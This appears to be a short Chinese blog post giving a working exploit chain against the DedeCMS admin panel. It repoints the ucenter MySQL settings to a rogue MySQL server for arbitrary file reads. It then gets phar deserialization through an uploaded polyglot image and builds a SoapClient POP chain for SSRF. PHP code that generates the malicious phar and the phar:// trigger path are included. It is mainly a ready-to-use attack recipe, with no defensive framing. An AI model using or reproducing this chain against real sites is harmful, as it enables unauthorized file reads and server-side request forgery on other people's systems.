dedecms的后台存在ucenter功能,可以直接修改ucenter的配置,使网站的mysql连接。指向我们预先构造的rogue mysql server
	https://github.com/Gifts/Rogue-MySql-Server.git
设置之后我们就可以通过修改恶意服务端的设置来读取任意文件。
假如读取的文件路径是以phar协议开头的,那么读取的文件内容就会被反序列化。
根据dedecms的代码,我们可以利用soapclient内置类来构造反序列化pop链来ssrf。
```
<?php
class Control
{
    var $tpl;
    public $dsql;
    function __construct(){
                $this->dsql = new SoapClient(null,array('uri'=>'http://test:5555', 'location'=>'http://test:5555/aaa'));
        }
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new Control();
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
```
将生成的文件修改为dedecms.png,然后在dedecms上有很多地方都可以上传。
上传成功之后可以从文件列表中获取到图片链接
```
phar://../uploads/allimg/190724/1_1529564891.png/test.txt
```
设置完成之后,刷新就可以触发ssrf
                      
                    
                  
                
              
             
        
          
暂无评论